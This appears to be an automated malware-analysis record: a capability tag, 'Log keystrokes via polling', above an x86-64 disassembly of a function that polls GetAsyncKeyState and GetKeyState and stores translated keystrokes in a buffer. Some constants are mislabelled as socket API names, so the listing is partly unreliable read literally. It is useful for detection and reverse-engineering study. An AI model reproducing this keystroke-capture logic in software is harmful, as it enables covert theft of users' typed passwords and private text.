Function at 0x180005ea8
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movzx esi, cx
mov eax, 0xba
cmp esi, eax
mov ebx, esi
jg 0x180005ff0
cmp ebx, eax
je 0x180005fb0
mov edx, ebx
mov eax, 8
sub edx, eax
je 0x180005f8a
lea edi, [rax - 7]
sub edx, edi
je 0x180005f83
sub edx, 4
je 0x180005f5a
sub edx, 0x13
je 0x180005f53
sub edx, 0x4a
je 0x180005f4c
sub edx, edi
je 0x180005f27
sub edx, 2
je 0x180005f20
sub edx, edi
je 0x180005f19
cmp edx, edi
jne 0x180006044
lea edx, [rax + 0x27]
jmp 0x180005f2c
mov edx, 0x2e
jmp 0x180005f2c
mov edx, 0x2d
jmp 0x180005f2c
mov edx, 0x2b
movsxd rcx, dword [0x1800248a0]
lea r8, [0x1800248b0]
mov word [r8 + rcx*2], dx
add ecx, edi
mov dword [0x1800248a0], ecx
jmp 0x1800062b4
mov edx, 0x2a
jmp 0x180005f2c
mov edx, 0x20
jmp 0x180005f2c
movsxd rcx, dword [0x1800248a0]
lea r8, [0x1800248b0]
mov edx, recv
mov word [r8 + rcx*2], dx
add ecx, edi
mov edx, 0xa
movsxd rax, ecx
mov word [r8 + rax*2], dx
jmp 0x180005f3f
mov edx, 9
jmp 0x180005f2c
cmp ax, si
jne 0x1800062b4
mov eax, dword [0x1800248a0]
xor ecx, ecx
cmp eax, ecx
jle 0x1800062b4
dec eax
mov dword [0x1800248a0], eax
jmp 0x1800062b4
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edi, 1
mov r11w, ax
shr r11d, 0xf
not r11b
and r11b, dil
or r11b, 0x3a
movsx ecx, r11b
movsxd rdx, dword [0x1800248a0]
lea r8, [0x1800248b0]
mov word [r8 + rdx*2], cx
add edx, edi
jmp 0x1800062ae
mov ecx, ebx
sub ecx, 0xbb
je 0x18000627a
mov edi, 1
sub ecx, edi
je 0x18000625a
sub ecx, edi
je 0x18000623c
sub ecx, edi
je 0x18000621c
sub ecx, edi
je 0x1800061fc
sub ecx, edi
je 0x1800061d8
sub ecx, 0x1b
je 0x1800061b8
sub ecx, edi
je 0x180006198
cmp ecx, edi
je 0x180006178
mov ebp, gethostbyname
movzx eax, si
lea edx, [rbp - 0x27]
sub ax, bp
cmp ax, dx
ja 0x180006102
lea ecx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x18000616f
cmp ebx, 0x35
jg 0x1800060cb
je 0x1800060c1
sub ebx, ebp
je 0x1800060b7
sub ebx, edi
je 0x1800060ad
sub ebx, edi
je 0x1800060a3
sub ebx, edi
je 0x180006099
cmp ebx, edi
jne 0x1800062b4
lea edx, [rbp - 0xc]
jmp 0x180005f2c
mov edx, 0x23
jmp 0x180005f2c
mov edx, 0x40
jmp 0x180005f2c
mov edx, 0x21
jmp 0x180005f2c
mov edx, 0x29
jmp 0x180005f2c
mov edx, 0x25
jmp 0x180005f2c
sub ebx, 0x36
je 0x1800060f8
sub ebx, edi
je 0x1800060ee
sub ebx, edi
je 0x180005f4c
cmp ebx, edi
jne 0x1800062b4
mov edx, 0x28
jmp 0x180005f2c
mov edx, 0x26
jmp 0x180005f2c
mov edx, 0x5e
jmp 0x180005f2c
lea eax, [rsi - 0x41]
cmp ax, 0x19
ja 0x18000614a
mov ecx, setsockopt
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.WS2_32.dll_recv
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rdx, dword [0x1800248a0]
sar ax, 0xf
lea r8, [0x1800248b0]
xor ax, bx
je 0x180006144
movsx ecx, sil
jmp 0x180005fe4
or sil, 0x20
jmp 0x18000613b
lea eax, [rsi - 0x60]
cmp ax, dx
ja 0x1800062b4
mov ecx, 0x90
call qword [sym.imp.USER32.dll_GetKeyState]
xor ecx, ecx
cmp ax, cx
je 0x1800062b4
sub sil, bpl
movsx ecx, sil
jmp 0x180005fd6
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r11w, ax
shr r11d, 0xa
and r11b, 0x20
or r11b, 0x5d
jmp 0x180005fd2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r11w, ax
shr r11d, 0xa
and r11b, 0x20
or r11b, 0x5c
jmp 0x180005fd2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r11w, ax
shr r11d, 0xa
and r11b, 0x20
or r11b, 0x5b
jmp 0x180005fd2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
and ax, cx
neg ax
sbb al, al
and al, 0x1e
add al, 0x60
movsx ecx, al
jmp 0x180005fd6
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r11w, ax
shr r11d, 0xb
and r11b, 0x10
or r11b, 0x2f
jmp 0x180005fd2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r11w, ax
shr r11d, 0xb
and r11b, 0x10
or r11b, 0x2e
jmp 0x180005fd2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
and ax, cx
neg ax
sbb al, al
and al, 0x32
add al, 0x2d
jmp 0x1800061f4
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r11w, ax
shr r11d, 0xb
and r11b, 0x10
or r11b, 0x2c
jmp 0x180005fd2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rdx, dword [0x1800248a0]
mov ecx, 0x8000
and ax, cx
lea r8, [0x1800248b0]
neg ax
sbb al, al
and al, 0xee
add al, 0x3d
movsx ecx, al
mov word [r8 + rdx*2], cx
inc edx
mov dword [0x1800248a0], edx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x20
pop rdi
ret